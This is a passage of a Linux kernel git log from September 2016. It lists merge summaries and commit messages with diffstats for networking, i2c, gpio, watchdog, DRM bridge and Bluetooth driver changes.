Steffen Klassert says: ==================== pull request (net-next): ipsec-next 2016-09-23 Only two patches this time: 1) Fix a comment reference to struct xfrm_replay_state_esn. From Richard Guy Briggs. 2) Convert xfrm_state_lookup to rcu, we don't need the xfrm_state_lock anymore in the input path. From Florian Westphal. Please pull or let me know if there are problems. ==================== Signed-off-by: David S. Miller commit 834d9649808b1e2bdf6f6a2dec07b7812f78ea1c Merge: 1ad0751 903e683 Author: David S. Miller Date: Sat Sep 24 08:14:57 2016 -0400 Merge branch '40GbE' of git://git.kernel.org/pub/scm/linux/kernel/git/jkirsher/next-queue Jeff Kirsher says: ==================== 40GbE Intel Wired LAN Driver Updates 2016-09-22 This series contains updates to i40e and i40evf only. Sridhar fixes link state event handling by updating the carrier and starts/stops the Tx queues based on the link state notification from PF. Brady fixes an issue where a user defined RSS hash key was not being set because a user defined indirection table is not supplied when changing the hash key, so if an indirection table is not supplied now, then a default one is created and the hash key is correctly set. Also fixed an issue where when NPAR was enabled, we were still using pf->mac_seid to perform the dump port query. Instead, go through the VSI to determine the correct ID to use in either case. Mitch provides one fix where a conditional return code was reversed, so he does a "switheroo" to fix the issue. Carolyn has two fixes, first fixes an issue in the virt channel code, where a return code was not checked for NULL when applicable. Second, fixes an issue where we were byte swapping the port parameter, then byte swapping it again in function execution. Colin Ian King fixes a potential NULL pointer dereference. Bimmy changes up i40evf_up_complete() to be void since it always returns success anyways, which allows cleaning up of code which checked the return code from this function. Alex fixed an issue where the driver was incorrectly assuming that we would always be pulling no more than 1 descriptor from each fragment. So to correct this, we just need to make certain to test all the way to the end of the fragments as it is possible for us to span 2 descriptors in the block before us so we need to guarantee that even the last 6 descriptors have enough data to fill a full frame. v2: dropped patches 1-3, 10 and 12 from the original series since Or Gerlitz pointed out several areas of improvement in the implementation of the VF Port representor netdev. Sridhar is re-working the series for later submission. ==================== Signed-off-by: David S. Miller commit 1ad0751d42c1d1b5241bdf0db6d65dacaf4a8454 Merge: fb2a3d5 b42959d Author: David S. Miller Date: Sat Sep 24 08:02:22 2016 -0400 Merge branch 'mlx4-vf-vlan-802.1ad' Tariq Toukan says: ==================== mlx4 VF vlan protocol 802.1ad support This patchset adds VF VLAN protocol 802.1ad support to the mlx4 driver. We extended the VF VLAN API with an additional parameter for VLAN protocol, and kept 802.1Q as drivers' default. We prepared a userspace support (ip link tool). The patch will be submitted to the iproute2 mailing list. The ip link tool VF VLAN protocol parameter is optional (default: 802.1Q). A configuration command of VF VLAN that is used prior to this patchset will result in same functionality as today's (VST with VLAN protocol 802.1Q). The series generated against net-next commit: 688dc5369a63 "Merge branch 'mlx4-next'" All maintainers of the modified modules are in cc. v3: Expand the UAPI to a nested list to support future use-cases. Use a more formal feature name. v2: Drop patch 4 ("net/mlx4_core: Add an option to configure SVLAN TPID"). Patch 1/5: Update commit log. 2-3/5: Split patch 2 into two patches, to separate between changes done in mlx4_core and the ones done in mlx4_en. 4-5/5: Split patch 3 into two patches, to separate between the addition of a protocol parameter and the actual implementation in mlx4_en. In addition, we implement a handshake mechanism so PF and VF exchange their VST QinQ support capability. ==================== Signed-off-by: David S. Miller commit b42959dc35a533a531dd698b581193a65a5da831 Author: Moshe Shemesh Date: Thu Sep 22 12:11:16 2016 +0300 net/mlx4: Add VF vlan protocol 802.1ad support Move the vf to VST 802.1ad mode (mlx4 VST QinQ mode) by setting vf vlan protocol to 802.1ad. VST 802.1ad mode in mlx4, is used for STAG strip/insertion by PF, while the CTAG is set by the VF. Read current vlan protocol as part of the vf configuration state. Upon setting vf vlan protocol to 802.1ad, we use a mechanism of handshake to verify that both the vf and the pf driver version support it. The handshake uses the command QUERY_FUNC_CAP: - The vf sets a pre-defined support bit in input modifier. - A pf that supports the feature sends the request to the vf through a pre-defined field in the output mailbox. - In case vf does not support the feature, the pf will fail the control command (in this case, IP link tool command to set the vf vlan protocol to 802.1ad). No change in VST 802.1Q mode. Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/cmd.c | 51 ++++++++++++++- drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 6 +- drivers/net/ethernet/mellanox/mlx4/fw.c | 89 ++++++++++++++++++++++++-- drivers/net/ethernet/mellanox/mlx4/mlx4.h | 1 + include/linux/mlx4/cmd.h | 3 +- 5 files changed, 138 insertions(+), 12 deletions(-) commit 79aab093a0b5370d7fc4e99df75996f4744dc03f Author: Moshe Shemesh Date: Thu Sep 22 12:11:15 2016 +0300 net: Update API for VF vlan protocol 802.1ad support Introduce new rtnl UAPI that exposes a list of vlans per VF, giving the ability for user-space application to specify it for the VF, as an option to support 802.1ad. We adjusted IP Link tool to support this option. For future use cases, the new UAPI supports multiple vlans. For now we limit the list size to a single vlan in kernel. Add IFLA_VF_VLAN_LIST in addition to IFLA_VF_VLAN to keep backward compatibility with older versions of IP Link tool. Add a vlan protocol parameter to the ndo_set_vf_vlan callback. We kept 802.1Q as the drivers' default vlan protocol. Suitable ip link tool command examples: Set vf vlan protocol 802.1ad: ip link set eth0 vf 1 vlan 100 proto 802.1ad Set vf to VST (802.1Q) mode: ip link set eth0 vf 1 vlan 100 proto 802.1Q Or by omitting the new parameter ip link set eth0 vf 1 vlan 100 Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.h | 3 +- drivers/net/ethernet/broadcom/bnx2x/bnx2x_sriov.c | 9 ++- drivers/net/ethernet/broadcom/bnxt/bnxt_sriov.c | 6 +- drivers/net/ethernet/broadcom/bnxt/bnxt_sriov.h | 2 +- drivers/net/ethernet/emulex/benet/be_main.c | 6 +- drivers/net/ethernet/intel/fm10k/fm10k.h | 2 +- drivers/net/ethernet/intel/fm10k/fm10k_iov.c | 6 +- drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 11 ++- drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.h | 4 +- drivers/net/ethernet/intel/igb/igb_main.c | 9 ++- drivers/net/ethernet/intel/ixgbe/ixgbe_sriov.c | 5 +- drivers/net/ethernet/intel/ixgbe/ixgbe_sriov.h | 2 +- drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 6 +- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 6 +- drivers/net/ethernet/qlogic/qede/qede_main.c | 6 +- drivers/net/ethernet/qlogic/qlcnic/qlcnic_sriov.h | 2 +- .../net/ethernet/qlogic/qlcnic/qlcnic_sriov_pf.c | 5 +- drivers/net/ethernet/sfc/sriov.c | 5 +- drivers/net/ethernet/sfc/sriov.h | 2 +- include/linux/if_link.h | 1 + include/linux/netdevice.h | 6 +- include/uapi/linux/if_link.h | 19 ++++- net/core/rtnetlink.c | 80 ++++++++++++++++++---- 23 files changed, 161 insertions(+), 42 deletions(-) commit 0815fe3a86a01cdf81361459c465761be7138665 Author: Moshe Shemesh Date: Thu Sep 22 12:11:14 2016 +0300 net/mlx4_en: Disable vlan HW acceleration when in VF vlan protocol 802.1ad mode In Ethernet VF, disable vlan HW acceleration on VF while it is set to VF vlan protocol 802.1ad mode. Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 7c3d21c8153c6bfb5690e35e086b0522c42442d9 Author: Moshe Shemesh Date: Thu Sep 22 12:11:13 2016 +0300 net/mlx4_core: Preparation for VF vlan protocol 802.1ad Check device capability to support VF vlan protocol 802.1ad mode. Add vport attribute vlan protocol. Init vport vlan protocol by default to 802.1Q. Add update QP support for VF vlan protocol 802.1ad. Add func capability vlan_offload_disable to disable all vlan HW acceleration on VF while the VF is set to VF vlan protocol 802.1ad mode. No change in VF vlan protocol 802.1Q (VST) mode. Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/cmd.c | 7 ++++ drivers/net/ethernet/mellanox/mlx4/fw.c | 37 ++++++++++++++++---- drivers/net/ethernet/mellanox/mlx4/mlx4.h | 2 ++ .../net/ethernet/mellanox/mlx4/resource_tracker.c | 40 ++++++++++++++++++---- include/linux/mlx4/device.h | 3 ++ include/linux/mlx4/qp.h | 2 ++ 6 files changed, 78 insertions(+), 13 deletions(-) commit c9cc599a96a6822c52cd72ed31dd7f813d792b4f Author: Moshe Shemesh Date: Thu Sep 22 12:11:12 2016 +0300 net/mlx4_core: Fix QUERY FUNC CAP flags Separate QUERY_FUNC_CAP flags0 from QUERY_FUNC_CAP flags, as 'flags' is already used for another set of flags in FUNC CAP, while phv bit should be part of a different set of flags. Remove QUERY_FUNC_CAP port_flags field, as it is not in use. Fixes: 77fc29c4bbbb ('net/mlx4_core: Preparations for 802.1ad VLAN support') Fixes: 5cc914f10851 ('mlx4_core: Added FW commands and their wrappers for supporting SRIOV') Signed-off-by: Moshe Shemesh Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/fw.c | 5 ++--- drivers/net/ethernet/mellanox/mlx4/fw.h | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) commit 662786a5429c3a992c6f884a647ee32424822358 Author: Alexey Khoroshilov Date: Fri Sep 23 11:15:26 2016 +0200 i2c: axxia: disable clks in case of failure in probe axxia_i2c_probe() does not disable clock in case of failure in i2c_add_adapter(). Also it ignores returned value from clk_prepare_enable(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-axxia.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 70121f7f3725c82e8927a4e03ca1d50c98bbc6d2 Author: Jan Glauber Date: Fri Sep 23 11:40:39 2016 +0200 i2c: octeon: thunderx: Limit register access retries Do not infinitely retry register readq and writeq operations in order to not lock up the CPU in case the TWSI gets stuck. Return -ETIMEDOUT in case of a failed data read. For all other cases just return so subsequent operations will fail. Signed-off-by: Jan Glauber Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-octeon-core.c | 4 +++- drivers/i2c/busses/i2c-octeon-core.h | 27 ++++++++++++++++----------- 2 files changed, 19 insertions(+), 12 deletions(-) commit fcbd4bddb314346a35295701f385b9627bb3a137 Author: Masahiro Yamada Date: Fri Sep 23 22:34:41 2016 +0900 i2c: uniphier-f: fix misdetection of incomplete STOP condition Currently, the status register FI2C_SR is checked immediately after a STOP condition is issued in case of the deferred STOP condition. It takes typically 5-10 usec until the corresponding bits in the register are set, so the error check for "stop condition was not completed" is very likely to be false positive. Add wait code to relax the status register check. Signed-off-by: Masahiro Yamada Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-uniphier-f.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 6212e1d6ed4018ae3d3e6079ea0c45df346c97a6 Author: Wolfram Sang Date: Sat Sep 24 11:06:29 2016 +0200 gpio: pca953x: variable 'id' was used twice sparse rightfully said: drivers/gpio/gpio-pca953x.c:771:45: warning: symbol 'id' shadows an earlier one drivers/gpio/gpio-pca953x.c:742:36: originally declared here So, name them explicitly 'i2c_id' and 'acpi_id' to avoid any confusion. Signed-off-by: Wolfram Sang drivers/gpio/gpio-pca953x.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 31158763ef2dba9393ddd205248b9c95d2b5b87c Author: Andy Shevchenko Date: Fri Sep 23 11:56:01 2016 +0300 i2c: i801: Add support for Kaby Lake PCH-H Intel Kaby Lake PCH-H has the same legacy SMBus host controller than Intel Sunrisepoint PCH. It also has same iTCO watchdog on the bus. Add Kaby Lake PCH-H PCI ID to the list of supported devices. Signed-off-by: Andy Shevchenko Signed-off-by: Mika Westerberg Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-i801.c | 4 ++++ 1 file changed, 4 insertions(+) commit 559b46990e7635758d7350a4385d63682b181ed1 Author: Bartosz Golaszewski Date: Fri Sep 16 18:02:45 2016 +0200 gpio: pca953x: fix an incorrect lockdep warning If an I2C GPIO multiplexer is driven by a GPIO provided by an expander when there's a second expander using the same device driver on one of the I2C bus segments, lockdep prints a deadlock warning when trying to set the direction or the value of the GPIOs provided by the second expander. The below diagram presents the setup: - - - - - ------- --------- Bus segment 1 | | | | | |--------------- Devices | | SCL/SDA | | | | | Linux |-----------| I2C MUX | - - - - - | | | | | Bus segment 2 | | | | |------------------- ------- | --------- | | | - - - - - ------------ | MUX GPIO | | | | | Devices | GPIO | | | | | Expander 1 |---- - - - - - | | | ------------ | SCL/SDA | ------------ | | | GPIO | | Expander 2 | | | ------------ The reason for lockdep warning is that we take the chip->i2c_lock in pca953x_gpio_set_value() or pca953x_gpio_direction_output() and then come right back to pca953x_gpio_set_value() when the GPIO mux kicks in. The locks actually protect different expanders, but for lockdep both are of the same class, so it says: Possible unsafe locking scenario: CPU0 ---- lock(&chip->i2c_lock); lock(&chip->i2c_lock); *** DEADLOCK *** May be due to missing lock nesting notation In order to get rid of the warning, retrieve the adapter nesting depth and use it as lockdep subclass for chip->i2c_lock. Signed-off-by: Bartosz Golaszewski Acked-by: Peter Rosin Acked-by: Peter Zijlstra (Intel) Acked-by: Linus Walleij Signed-off-by: Wolfram Sang drivers/gpio/gpio-pca953x.c | 2 ++ 1 file changed, 2 insertions(+) commit 2771dc34ddaa313127d6431f23ae4cea26b869b0 Author: Bartosz Golaszewski Date: Fri Sep 16 18:02:44 2016 +0200 i2c: add a warning to i2c_adapter_depth() This routine is only used together with lockdep for nested locking. The number of lock subclasses is limited to 8 as defined in lockdep.h Emit a warning if the adapter depth exceeds the maximum number of lockdep subclasses. Signed-off-by: Bartosz Golaszewski Acked-by: Peter Rosin Acked-by: Peter Zijlstra (Intel) Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 3 +++ 1 file changed, 3 insertions(+) commit a5ecddfe0bf82c92cc2e47385e287b21361a8d70 Author: Bartosz Golaszewski Date: Fri Sep 16 18:02:43 2016 +0200 lockdep: make MAX_LOCKDEP_SUBCLASSES unconditionally visible This define is needed by i2c_adapter_depth() to detect if we don't exceed the maximum number of lock subclasses. Make it visible even if lockdep is disabled. Signed-off-by: Bartosz Golaszewski Acked-by: Peter Rosin Acked-by: Peter Zijlstra (Intel) Signed-off-by: Wolfram Sang include/linux/lockdep.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8dd1fe1594a712eb326e1607c694fbd1baf85f4b Author: Bartosz Golaszewski Date: Fri Sep 16 18:02:42 2016 +0200 i2c: export i2c_adapter_depth() For crazy setups in which an i2c gpio expander is behind an i2c gpio multiplexer controlled by a gpio provided a second expander using the same device driver we need to explicitly tell lockdep how to handle nested locking. Export i2c_adapter_depth() as public API to be reused outside of i2c core code. Signed-off-by: Bartosz Golaszewski Acked-by: Peter Rosin Acked-by: Peter Zijlstra (Intel) Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 9 ++------- include/linux/i2c.h | 1 + 2 files changed, 3 insertions(+), 7 deletions(-) commit 907241dccb4ce5d9413cf3c030b32b0cfc184914 Author: Mark Rutland Date: Fri Sep 23 18:24:07 2016 +0100 thread_info: Use unsigned long for flags The generic THREAD_INFO_IN_TASK definition of thread_info::flags is a u32, matching x86 prior to the introduction of THREAD_INFO_IN_TASK. However, common helpers like test_ti_thread_flag() implicitly assume that thread_info::flags has at least the size and alignment of unsigned long, and relying on padding and alignment provided by other elements of task_struct is somewhat fragile. Additionally, some architectures use more that 32 bits for thread_info::flags, and others may need to in future. With THREAD_INFO_IN_TASK, task struct follows thread_info with a long field, and thus we no longer save any space as we did back in commit: affa219b60a11b32 ("x86: change thread_info's flag field back to 32 bits") Given all this, it makes more sense for the generic thread_info::flags to be an unsigned long. In fact given contains/uses the helpers mentioned above, BE arches *must* use unsigned long (or something of the same size) today, or they wouldn't work. Make it so. Signed-off-by: Mark Rutland Cc: Andrew Morton Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Kees Cook Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1474651447-30447-1-git-send-email-mark.rutland@arm.com Signed-off-by: Ingo Molnar include/linux/thread_info.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 317c2ce77d8ab73c24f4fb9c75e5bb441fbe3e30 Author: Josh Poimboeuf Date: Fri Sep 23 16:49:39 2016 -0500 x86/alternatives: Add stack frame dependency to alternative_call_2() Linus reported the following objtool warning: kernel/signal.o: warning: objtool: .altinstr_replacement+0x54: call without frame pointer save/setup The warning is valid. It's caused by the fact that gcc placed the call instruction in alternative_call_2()'s inline asm before the frame pointer setup, which breaks frame pointer convention and can result in a bad stack trace. Force a stack frame to be created before the call instruction by listing the stack pointer as an output operand in the inline asm statement. Reported-and-tested-by: Linus Torvalds Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160923214939.j5o7c67nhepzmh3t@treble Signed-off-by: Ingo Molnar arch/x86/include/asm/alternative.h | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 97beb3ae02b02740c2784aa05b591bf5138f45e6 Author: Wolfram Sang Date: Wed Aug 31 14:52:42 2016 +0300 fs: compat_ioctl: add pretimeout functions for watchdogs Watchdog core now handles those ioctls centrally, so we want 64 bit support, too. Signed-off-by: Wolfram Sang Cc: Alexander Viro Cc: linux-fsdevel@vger.kernel.org Signed-off-by: Vladimir Zapolskiy Acked-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck fs/compat_ioctl.c | 2 ++ 1 file changed, 2 insertions(+) commit df044e02206230c7d79a9aef96a6c087476f5533 Author: Wolfram Sang Date: Wed Aug 31 14:52:41 2016 +0300 watchdog: add pretimeout support to the core Since the watchdog framework centrializes the IOCTL interfaces of device drivers now, SETPRETIMEOUT and GETPRETIMEOUT need to be added in the common code. Signed-off-by: Robin Gong Signed-off-by: Wolfram Sang [vzapolskiy: added conditional pretimeout sysfs attribute visibility] Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Documentation/watchdog/watchdog-kernel-api.txt | 20 +++++++++ drivers/watchdog/watchdog_dev.c | 56 +++++++++++++++++++++++++- include/linux/watchdog.h | 11 +++++ 3 files changed, 85 insertions(+), 2 deletions(-) commit 68d4cb809ef84f9a0ea6a23c4c0dc0ae48355f78 Author: Vladimir Zapolskiy Date: Wed Aug 31 14:52:49 2016 +0300 watchdog: imx2_wdt: use preferred BIT macro instead of open coded values This is a nonfunctional change, declare register bit values with BIT() helper macro. The issues are reported by checkpatch: CHECK: Prefer using the BIT macro #40: FILE: drivers/watchdog/imx2_wdt.c:40: +#define IMX2_WDT_WCR_WDA (1 << 5) /* -> External Reset WDOG_B */ etc. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/imx2_wdt.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 7dd2ce7c91bd29d2fb7436cd2a607c7d24835e82 Author: Peter Griffin Date: Wed Sep 14 14:27:49 2016 +0100 watchdog: st_wdt: Remove support for obsolete platforms STiH415/6 SoC support is being removed from the kernel. This patch updates the watchdog driver to remove references to these obsolete platforms. Signed-off-by: Peter Griffin Cc: Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/st_lpc_wdt.c | 33 --------------------------------- 1 file changed, 33 deletions(-) commit c3025a0b7508c7b9a2db81afd4e81dba9984cef0 Author: Peter Griffin Date: Wed Sep 14 14:27:48 2016 +0100 watchdog: bindings: Remove obsolete platforms from dt doc. STiH415/6 SoC support is being removed from the kernel so update the dt bding document to reflect this. Signed-off-by: Peter Griffin Cc: Reviewed-by: Guenter Roeck Acked-by: Rob Herring Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Documentation/devicetree/bindings/watchdog/st_lpc_wdt.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8355b3f94425ac8b9683869354be935795f055ca Author: Guenter Roeck Date: Mon Sep 12 06:16:51 2016 -0700 watchdog: mt7621_wdt: Remove assignment of dev pointer Commit 0254e953537c ("watchdog: Drop pointer to watchdog device from struct watchdog_device") removed the dev pointer from struct watchdog_device, but this driver was still assigning it, leading to a compilation error: drivers/watchdog/mt7621_wdt.c: In function 'mt7621_wdt_probe': drivers/watchdog/mt7621_wdt.c:142:16: error: 'struct watchdog_device' has no member named 'dev' Fix this by removing the assignment. Fixes: 0254e953537c ("watchdog: Drop pointer to watchdog device ...") Signed-off-by: Guenter Roeck Cc: stable@vger.kernel.org # v4.5+ Signed-off-by: Wim Van Sebroeck drivers/watchdog/mt7621_wdt.c | 1 - 1 file changed, 1 deletion(-) commit df9c692b5618914d4ce7c9e3e011c5683fc16226 Author: Matt Redfearn Date: Mon Sep 12 10:35:12 2016 +0100 watchdog: rt2880_wdt: Remove assignment of dev pointer Commit 0254e953537c ("watchdog: Drop pointer to watchdog device from struct watchdog_device") removed the dev pointer from struct watchdog_device, but this driver was still assigning it, leading to a compilation error: drivers/watchdog/rt2880_wdt.c: In function ‘rt288x_wdt_probe’: drivers/watchdog/rt2880_wdt.c:161:16: error: ‘struct watchdog_device’ has no member named ‘dev’ rt288x_wdt_dev.dev = &pdev->dev; ^ scripts/Makefile.build:289: recipe for target 'drivers/watchdog/rt2880_wdt.o' failed Fix this by removing the assignment. Fixes: 0254e953537c ("watchdog: Drop pointer to watchdog device ...") Signed-off-by: Matt Redfearn Cc: stable@vger.kernel.org # v4.5+ Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/rt2880_wdt.c | 1 - 1 file changed, 1 deletion(-) commit 85f15cfc213da88d9eb01c943be454328b104f3c Author: Julia Lawall Date: Thu Sep 1 19:35:26 2016 +0200 watchdog: constify watchdog_ops structures Check for watchdog_ops structures that are only stored in the ops field of a watchdog_device structure. This field is declared const, so watchdog_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct watchdog_ops i@p = { ... }; @ok@ identifier r.i; struct watchdog_device e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct watchdog_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct watchdog_ops i = { ... }; // Signed-off-by: Julia Lawall Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/bcm7038_wdt.c | 2 +- drivers/watchdog/cadence_wdt.c | 2 +- drivers/watchdog/kempld_wdt.c | 2 +- drivers/watchdog/rn5t618_wdt.c | 2 +- drivers/watchdog/softdog.c | 2 +- drivers/watchdog/w83627hf_wdt.c | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) commit 7123f253f02b7370ad25d9047fd91a5ef6ae551f Author: Julia Lawall Date: Thu Sep 1 19:35:25 2016 +0200 watchdog: tegra: constify watchdog_ops structures Check for watchdog_ops structures that are only stored in the ops field of a watchdog_device structure. This field is declared const, so watchdog_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct watchdog_ops i@p = { ... }; @ok@ identifier r.i; struct watchdog_device e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct watchdog_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct watchdog_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Thierry Reding Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/tegra_wdt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6e938f6e86a54ba22324a8e4f8c0fb774cffa273 Author: Julia Lawall Date: Sun Aug 28 22:26:26 2016 +0200 watchdog: iTCO_wdt: constify iTCO_wdt_pm structure iTCO_wdt_pm, of type struct dev_pm_ops, is never modified, so declare it as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/iTCO_wdt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eadc4fe17d04723373ada219d382b3b413b21dad Author: Shubhrajyoti Datta Date: Mon Sep 12 12:53:49 2016 +0530 watchdog: cadence_wdt: Fix the suspend resume Currently even if no users are there the suspend tries to stop the watchdog and resume starts it. so after resume the watchdog starts and resets the board. Fix the same by adding a check for users. Reviewed-by: Guenter Roeck Signed-off-by: Shubhrajyoti Datta Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/cadence_wdt.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit f2600d08d4e8d211262b143e71d3a08f320e1e17 Author: Sean Paul Date: Wed Sep 7 07:23:15 2016 -0400 drm/bridge: analogix_dp: Improve panel on time In order to reduce the time required to turn on the panel, this patch makes 2 assumptions: 1- In detect(): if there's a panel, we're connected. 2- In get_modes(): if there's a panel, let the panel driver decide if it should prepare/unprepare in order to get the modes. The first is straightforward, and shouldn't need further explanation. The second should eliminate the prepare/unprepare delays from get_modes() in most cases, since panels generally hardcode their modes in the driver as opposed to reading EDID. If a panel does need to read EDID, it should be responsible for ensuring it's in a state in which it can. Signed-off-by: Sean Paul drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 23 ++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit 8c77e2c2a48b5d52114fb179c3d7c21fd02be64d Author: Sean Paul Date: Wed Aug 24 10:58:26 2016 -0400 drm/bridge: analogix_dp: Don't read EDID if panel present If there's a panel connected to the analogix_dp bridge, rely on the panel driver for modes, rather than reading EDID *and* calling get_modes() on the panel. This allows panels with a valid EDID to read it in the panel driver (e.g. simple_panel), and panels with invalid EDID to homebrew modes in their get_modes implementation. Signed-off-by: Sean Paul drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit 0d97ad03f4220ca84f700c5fea988859ea0c3b98 Author: Tomeu Vizoso Date: Wed Aug 24 10:54:41 2016 -0400 drm/bridge: analogix_dp: Remove duplicated code Remove code for reading the EDID and DPCD fields and use the helpers instead. Besides the obvious code reduction, other helpers are being added to the core that could be used in this driver and will be good to be able to use them instead of duplicating them. Signed-off-by: Tomeu Vizoso Tested-by: Javier Martinez Canillas Tested-by: Sean Paul Reviewed-by: Sean Paul Signed-off-by: Sean Paul Cc: Javier Martinez Canillas Cc: Mika Kahola Cc: Yakir Yang Cc: Daniel Vetter Cc: Archit Taneja drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 274 ++++--------- drivers/gpu/drm/bridge/analogix/analogix_dp_core.h | 40 +- drivers/gpu/drm/bridge/analogix/analogix_dp_reg.c | 451 ++++++--------------- 3 files changed, 210 insertions(+), 555 deletions(-) commit 056506944a58814e5767d55ef6389aa2ab06908c Author: Vignesh Raman Date: Fri Sep 23 18:56:28 2016 +0100 Bluetooth: Use single return in hci_uart_tty_ioctl() call Remove multiple return statements in hci_uart_tty_ioctl() call and added a single return statement. This code re-organisation allows subsequent locking to be easily added. Signed-off-by: Vignesh Raman Signed-off-by: Dean Jenkins Signed-off-by: Rajeev Kumar Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_ldisc.c | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) commit 37332ddc1470b820bd9d1eb36a2ca6ce1efb209b Author: Dean Jenkins Date: Fri Sep 23 18:56:27 2016 +0100 Bluetooth: BCSP fails to ACK re-transmitted frames from the peer Send an ACK frame with the current txack value in response to every received reliable frame unless a TX reliable frame is being sent. This modification allows re-transmitted frames from the remote peer to be acknowledged rather than ignored. It means that the remote peer knows which frame number to start re-transmitting from. Without this modification, the recovery time to a missing frame from the remote peer was unnecessarily being extended because the headers of the out of order reliable frames were being discarded rather than being processed. The frame headers of received frames will indicate whether the local peer's transmissions have been acknowledged by the remote peer. Therefore, the local peer may unnecessarily re-transmit despite the remote peer already indicating that the frame had been acknowledged in out of order reliable frame. Signed-off-by: Dean Jenkins Signed-off-by: Jiada Wang Signed-off-by: Rajeev Kumar Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_bcsp.c | 85 ++++++++++++++++++++++++++------------------ 1 file changed, 51 insertions(+), 34 deletions(-) commit 8083ad1cf910dc22d4300213583d9d540853898a Author: Dean Jenkins Date: Fri Sep 23 18:56:26 2016 +0100 Bluetooth: Tidy-up coding style in hci_bcsp.c drivers/bluetooth/hci_bcsp.c contains some style issues as highlighted by ./scripts/checkpatch.pl --strict -f drivers/bluetooth/hci_bcsp.c a) comments - maintainer prefers network style comments b) positioning of lines in multi-line statements c) spaces after casts d) missing blank lines after declarations Therefore, tidy-up the above to make it easier to apply future code changes that have conforming style. Signed-off-by: Dean Jenkins Signed-off-by: Marcel Holtmann drivers/bluetooth/hci_bcsp.c | 55 +++++++++++++++++++++++--------------------- 1 file changed, 29 insertions(+), 26 